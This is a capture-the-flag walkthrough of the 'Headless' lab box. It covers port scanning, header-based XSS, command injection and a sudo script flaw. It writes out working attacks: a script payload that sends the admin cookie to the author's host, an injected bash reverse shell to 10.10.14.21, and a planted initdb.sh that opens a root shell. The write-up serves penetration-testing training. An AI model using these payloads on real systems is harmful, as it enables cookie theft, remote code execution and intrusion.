Headless (Easy)

Easy difficulty Linux box.....

Enumeration

Let's start with usual nmap scan:

Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXBmWeZYo1LR50JTs8iKyICHT76i7+fBPoeiKDXRhzjsfMWruwHrosHoSwRxiqUdaJYLwJgWOv+jFAB45nRQHw=
|   256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkBEMKoic0Bx5yLYG4DIT5G797lraNQsG5dtyZUl9nW
5000/tcp open  upnp?   syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 20 Jul 2024 14:19:29 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close

So we see ssh and a web server running on port 5000, let's start a directory fuzzing before we go check it, to have some sort of recon running in the background to save time.

 ffuf -u http://10.10.11.8:5000/FUZZ -w /opt/wordlists/directory-list-2.3-small.txt -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.8:5000/FUZZ
 :: Wordlist         : FUZZ: /opt/wordlists/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 68ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 71ms]

Now let's check the website, which has only one button that leads us to /support and seeing it:

Support page in the website

Let's check /dashboard

Showing dashboard in the website

Nothing in here.... let's get back to the support page.

So we have a contact form, I tried some XSS payload in the "Message" field as "<b>Hello</b>", and I got this:

Flagging our XSS payload

Exploitation

So we see all headers get displayed in here, and sent for admin, so let's try doing an XSS but in headers.

Will do it in Burp repeater:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.8:5000/support
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://10.10.11.8:5000
My-Header: <script>alert(1)</script>
DNT: 1
Connection: close
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

fname=acaard&lname=acaard&email=acaard%40email.com&phone=01111111111&message=%3Cb%3EHello%3C%2Fb%3E

Trying to send this request to which I added "My-Header" and had an alert in to see if it will be processed, after sending it i did this:

Getting the URL from there and checking it in the browser:

Alert worked!

We have a valid XSS, now let's do a payload to steal a cookie, i will modify the value of the header to be:

<script>document.location='http://10.10.14.21/?c='+document.cookie</script>

And I will start a server in my machine and send our request:

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Couple of seconds later we get a hit:

10.10.11.8 - - [20/Jul/2024 16:24:07] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
10.10.11.8 - - [20/Jul/2024 16:24:07] code 404, message File not found

We have a valid admin cookie, let's try it in the dashboard page:

Report generating in the dashboard

Let's intercept it in Burp and see what we can do.

The date is being sent like this date=2023-09-15 let's try for basic command injection.

Like:

date=2023-09-15;id

And we get this in the response:

Systems are up and running!
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

So perfect! Let's get a shell by sending:

date=2023-09-15;bash -c "bash -i >& /dev/tcp/10.10.14.21/9001 0>&1"

Don't forget to URL encode your payload.

nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.8] 41266
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$

Now we have a shell as "dvir".

First i will just stabilize the shell doing:

python3 -c "import pty;pty.spawn('/bin/bash')"
ctrl + z
stty raw -echo;fg 

Now root time.

Privilege Escalation

I will start with checking sudo privileges and i get this:

dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Let's see what is this "syscheck" file.

dvir@headless:~/app$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable

A Bash script, let's check our rights over it.

dvir@headless:~/app$ ls -la /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb  2 16:11 /usr/bin/syscheck

We can read it, so let's do that.

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

In the last if condition we see it will run "initdb.sh" from the current working directory, which might be a bit dangerous, we can make a custom one and make it give us a reverse shell.

So here is what i did:

dvir@headless:~$ nano initdb.sh
dvir@headless:~$ chmod +x initdb.sh 
dvir@headless:~$ cat initdb.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.21/9002 0>&1

Now just executing the sudo rule, and don't forget to start your listener:

nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.8] 53494
root@headless:/home/dvir# 

We got a root shell.

And that's it for the box!

Happy Hacking :) 🧛

Last updated